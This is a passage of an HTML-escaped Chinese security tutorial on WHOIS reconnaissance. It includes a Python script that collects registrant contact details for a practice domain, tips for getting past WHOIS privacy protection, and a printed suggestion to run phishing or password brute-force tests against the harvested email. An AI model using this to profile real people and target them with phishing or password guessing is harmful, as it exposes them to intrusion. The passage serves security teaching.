 &lt;td style="text-align: center"&gt;管理员和技术联系人信息（可能包含邮箱、电话）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="2-隐私保护的影响"&gt;&lt;strong&gt;2. 隐私保护的影响&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Whois Privacy：&lt;/p&gt;
&lt;p&gt;注册商提供隐私保护服务时，关键信息（如姓名、邮箱、电话）会被替换为代理信息：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;Registrant Name: REDACTED FOR PRIVACY
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;Registrant Email: contact&lt;span class="ni"&gt;@privacyguard&lt;/span&gt;.example
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;此时需通过其他方式（如历史记录、关联域名）绕过隐私保护。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-ip-whois-的额外信息"&gt;&lt;strong&gt;3. IP WHOIS 的额外信息&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;IP 范围：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;NetRange: 192.0.2.0 - 192.0.2.255 # IP地址段
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;CIDR: 192.0.2.0/24 # 子网掩码
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;Organization: Example ISP # 所属机构（可能是ISP或企业）
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="3-自动化工具整合"&gt;&lt;strong&gt;3. 自动化工具整合&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;与脚本结合：使用 Python 的&lt;code&gt;python-whois&lt;/code&gt;库批量查询域名：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;whois&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_domain_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain_name&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;domain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;whois&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;whois&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;info&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;域名&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;domain_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;注册商&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;registrar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;创建日期&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;format_date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;creation_date&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;过期日期&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;format_date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;expiration_date&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;最后更新&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;format_date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;updated_date&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;状态&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;list_to_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="c1"&gt;# 状态可能是列表&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;DNS服务器&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;list_to_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name_servers&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 关键修复：处理字段为 None 的情况，统一转为 &amp;#39;N/A&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;注册人姓名&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;注册人邮箱&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;email&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;注册人电话&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;phone&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;注册机构&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;org&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;地址&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;address&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;错误&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;format_date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;%Y-%m-&lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="nb"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;%Y-%m-&lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;date&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# 处理日期为 None 的情况&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;list_to_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;, &amp;#34;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# 处理数据为 None 的情况&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;target_domain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;megacorpone.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_domain_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target_domain&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;[+] WHOIS 情报分析结果:&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;-&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;错误&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34; ! 查询失败: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;12&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; : &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 修复判断逻辑：先检查是否为 &amp;#39;N/A&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;注册人邮箱&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;[+] 潜在攻击面建议:&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34; - 对邮箱 &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;注册人邮箱&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; 进行钓鱼或密码爆破测试&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
